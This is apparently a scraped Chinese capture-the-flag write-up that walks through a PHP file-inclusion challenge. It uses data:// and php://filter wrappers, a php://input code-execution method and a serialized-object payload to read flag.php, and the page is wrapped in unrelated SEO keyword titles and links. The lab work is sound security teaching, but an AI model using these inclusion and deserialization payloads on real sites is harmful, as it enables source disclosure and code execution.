当前位置: 首页 > news >正文

给网站做接口长春建站平台

给网站做接口,长春建站平台,东莞网络营销代运营,淘宝怎样优化关键词打开题目 代码审计 if(isset($text)(file_get_contents($text,r)welcome to the zjctf)){ 首先isset函数检查text参数是否存在且不为空 用file_get_contents函数读取text制定的文件内容并与welcome to the zjctf进行强比较 echo brh…打开题目 代码审计 if(isset($text)(file_get_contents($text,r)welcome to the zjctf)){ 首先isset函数检查text参数是否存在且不为空 用file_get_contents函数读取text制定的文件内容并与welcome to the zjctf进行强比较 echo brh1.file_get_contents($text,r)./h1/br; 如果强比较相等的话则输出text的内容 if(preg_match(/flag/,$file)){         echo Not now!; 如果强比较不相等的话则检查文件内容是否包含/flag如果包含则输出Not now }else{         include($file);  //useless.php         $password  unserialize($password);         echo $password; 如果文件内容不包含/flag的话file指定的文件包含到脚本中这里提示了useless.php然后对password的值进行反序列化然后输出password的值 第一步 所以我们需要传入text文件值必须为welcome to the zjctf 1.用php://input协议以post传参的形式写入 2.用data伪协议写入内容 welcome to the zjctf的base64编码为d2VsY29tZSB0byB0aGUgempjdGY payload: http://127.0.0.1/include.php?filedata://text/plain,welcome to the zjctf 或者 ?textdata://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY 传参后页面回显 第二步 我们用php://filter协议读取file下的useless.php的文件内容 这里我们需要注意用php://filter读取的文件内容是被base64加密后的内容 ?filephp://filter/convert.base64-encode/resourceuseless.php 和第一步的payload拼接一下即得到第二步的payload payload: ?textdata://text/plain,welcome to the zjctffilephp://filter/readconvert.base64-encode/resourceuseless.php 或者 ?textdata://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGYfilephp://filter/readconvert.base64-encode/resourceuseless.php 页面回显 第三步 将上一步得到的useless.php的文件内容进行base64解码后得到 得到代码 ?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this-file)){ echo file_get_contents($this-file); echo br;return (U R SO CLOSE !///COME ON PLZ);} } } ? 代码审计 class Flag{  //flag.php       public $file;  定义了一个名为Flag的类然后file参数为公有属性公共属性$file意味着任何地方都可以访问并修改它。 public function __tostring(){ 在类中定义一个 _toString的方法且设为公有属性返回字符串信息 if(isset($this-file)){               echo file_get_contents($this-file);             echo br; 如果file的值不为null输出文件包含下的file值 在第一次的代码审计中我们需要将password的值进行反序列化操作 那我们可以在在本地搭建网站进行反序列化操作 ?phpclass Flag{ //flag.php public $fileflag.php; public function __tostring(){ if(isset($this-file)){ echo file_get_contents($this-file); echo br;return (U R SO CLOSE !///COME ON PLZ);} } } $anew Flag(); echo serialize($a); ? 结果为 O:4:Flag:1:{s:4:file;s:8:flag.php;} 三步的payload拼接一下即可得到最后的payload ?textdata://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGYfileuseless.phppasswordO:4:Flag:1:{s:4:file;s:8:flag.php;} 或者 ?textdata://text/plain,welcome to the zjctffileuseless.phpfileuseless.phppasswordO:4:Flag:1:{s:4:file;s:8:flag.php;} 查看源代码得到flag 知识点 什么是文件包含漏洞 和SQL注入等攻击方式一样文件包含漏洞也是一种注入型漏洞其本质就是输入一段用户能够控制的脚本或者代码并让服务端执行 以PHP为例,常用的文件包含函数有以下四种 require():找不到被包含的文件会产生致命错误并停止脚本运行    include():找不到被包含的文件只会产生警告脚本继续执行    require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含则不会再次包含    include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含则不会再次包含   php伪协议 php://filter用于读取源码。 php://input用于执行php代码。 php isset函数 isset() 函数检查变量是否被设置这意味着它必须被声明并且不为 NULL。 php file_get_contents函数 将整个文件读入一个字符串 碰到file_get_contents()就要想到用php://input绕过因为php伪协议也是可以利用http协议的即可以使用POST方式传数据。php://input用于执行php代码。 php://input 可以访问请求的原始数据的只读流将post请求的数据当作php代码执行。当传入的参数作为文件名打开时可以将参数设为php://input,同时post想设置的文件内容php执行时会将post内容当作文件内容。从而导致任意代码执行。 data:// 数据流封装器以传递相应格式的数据。可以让用户来控制输入流当它与包含函数结合时用户输入的data://流会被当作php文件执行。 实例用法 1、data://text/plain, http://127.0.0.1/include.php?filedata://text/plain,?php%20phpinfo();?                      2、data://text/plain;base64, http://127.0.0.1/include.php?filedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b php://filter 对本地磁盘文件进行读写,php://filter读取php文件时候需要base64编码 实例用法 php://filter/readconvert.base64-encode/resource[文件名] http://127.0.0.1/include.php?filephp://filter/readconvert.base64-encode/resourcephpinfo.php http://127.0.0.1/include.php?filephp://filter/convert.base64-encode/resourcephpinfo.php 效果一样的 php类定义 class关键词 图源PHP 面向对象 | 菜鸟教程 类的基本概念 以关键词class开头后面跟着类名类名后面跟着一对花括号里面包含有类的属性、方法的定义。类名由字母、数字、下划线组成。字母或下划线开头。一个类里包含有自己的常量类的属性变量类的方法函数。 php public关键词 public 关键字是访问修饰符。 它将属性或方法标记为公共。 任何可以访问对象的代码都可以使用公共属性和方法。公共属性意味着任何地方都可以访问并修改它。 php  _toString魔术方法 __toString()是快速获取对象的字符串信息的便捷方式 当我们调试程序时需要知道是否得出正确的数据。比如打印一个对象时看看这个对象都有哪些属性其值是什么如果类定义了toString方法就能在测试时echo打印对象体对象就会自动调用它所属类定义的toString方法格式化输出这个对象所包含的数据。使用__toString() 时返回值一定要使用return 来进行返回 __toString() 方法用于一个类被当成字符串时应怎样回应 而function _tostring 就是在类中定义一个 _toString的方法 参考文章;PHP魔术方法之 __toString()-CSDN博客 知识点选自 【精选】PHP伪协议详解-CSDN博客 文件包含漏洞全面详解_caker丶的博客-CSDN博客 【精选】文件包含PHP伪协议利用_file_get_contents()支持的协议-CSDN博客
http://wiki.neutronadmin.com/news/134594/

相关文章:

  • 做网站还是做微信公众号做宣传册的公司
  • 做网站需要哪些费用聊大 网站设计
  • 淘宝网站SEO怎么做可使用虚拟主机
  • 国外建设短视频网站利辛做网站
  • 移动通信网站建设wordpress侧栏弹窗登录
  • 企业网站代码中国互联网协会官方网站
  • icp备案在哪里查询图片类网站 怎么做优化
  • 深圳做微商网站设计免费软件看电视剧
  • 做网站用别人的模板是侵权吗新手学做网站电子版
  • 番禺人才网上seo优化工具的种类
  • 深色网站如何防止网站被盗
  • 做什么网站比较简单中企动力百度百科
  • 人事处网站开发文献综述做跨境电商需要多少钱
  • 响应式网站开发现状松江微网站建设
  • we建站公众号开发收费价目表
  • 网站页面布局图片网站的权限设置
  • 网站建设中招聘页面源码成都全网推广哪家专业
  • 辽宁建设工程信息网站有哪些网站用mysql
  • 廊坊网站排名优化报价咖啡网站设计建设
  • 科讯cms制作网站完整教程国内网站建设需要多少钱
  • 宁波网站建设网站杭州滨江网站开发
  • 七台河做网站网站建设公司代理商
  • 什么网站做h5做得好济南公司网站推广优化最大的
  • 广州模板建站哪家好深圳就会制作
  • 广州产品网站设计网站中文名
  • 永州市住房和城乡建设局网站如何注册一个免费域名
  • 描述建设网站的一个具体步骤建筑材料采购网站
  • 网站域名做链接怎么做官方网站想反应问题不弄应该怎么做
  • 丹东淘宝做网站北京南站地铁几号线
  • 株洲做网站公司wordpress 含演示数据库